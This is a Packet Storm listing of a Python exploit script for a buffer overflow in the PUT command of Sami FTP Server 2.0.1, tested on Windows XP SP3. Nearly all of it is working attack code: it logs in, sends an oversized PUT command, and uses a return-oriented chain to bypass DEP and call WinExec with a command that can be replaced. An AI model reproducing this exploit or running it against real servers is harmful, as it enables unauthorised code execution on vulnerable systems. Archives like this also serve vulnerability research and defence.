Lucene search

K
packetstormNe0zPACKETSTORM:120840
HistoryMar 18, 2013 - 12:00 a.m.

Sami FTP Server 2.0.1 PUT Command Buffer Overflow

2013-03-1800:00:00
ne0z
packetstormsecurity.com
19
`#!/usr/bin/python  
# Exploit Title: Sami FTP Server 2.0.1 PUT Command Buffer overflow (DEP Bypass)  
# Date: 17 Mar 2013  
# Exploit Author: ne0z  
# Vendor Homepage: http://www.hatsecure.com  
# Version: Sami FTP Server 2.0.1  
# Tested on: Windows XP Professional SP3  
#   
# Description :  
# A buffer overflow is triggered when a long PUT command is sent to the  
# server and the user views the Log tab.   
#  
# Reference from : superkojiman  
  
import socket, struct, sys  
  
def little_endian(address):  
return struct.pack("<L",address)  
  
  
if (len(sys.argv)<=1):  
print "Usage :"  
print "root@bt~: python samiftp.py [target] [port]"  
sys.exit(0)  
  
target = sys.argv[1]  
port = sys.argv[2]  
  
  
fuzz = "\x41" * 216  
eip = little_endian(0x7c9c1652)  
rop = "AAAABBBBCCCCDDDD" #padding  
rop += little_endian(0x7E41E9F6) #POP EDI RETN  
rop += little_endian(0x7E411069) #retn  
rop += little_endian(0x7E414238) #POP ESI #RETN (user32.dll)  
rop += little_endian(0x7c862509) #POP to ESI  
for x in range(4):  
rop += little_endian(0x7C9CDA03) #inc esi #retn (0x7c862509 + 4) = 0x7C86250D (WinExec)  
rop += little_endian(0x7E4185BB) #POP EBP RETN  
rop += little_endian(0x7c81cb12) #Next address ExitProcess()  
for x in range(3):  
rop += little_endian(0x7C81106F)  
rop += little_endian(0x7e423ad9) #pushad retn  
  
  
cmd = "calc " #  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((str(target),int(port)))  
s.recv(1024)  
print "[X] Logged in"  
s.send("USER hatsecure\r\n")  
s.recv(1024)  
s.send("PASS hatsecure\r\n")  
s.recv(1024)  
s.send("SYST\r\n")  
system = s.recv(1024)  
print "[X] Detected "+system  
print "[X] Sending payload"  
s.send("PUT "+fuzz+eip+rop+cmd+"\r\n")  
s.recv(1024)  
  
s.close()  
`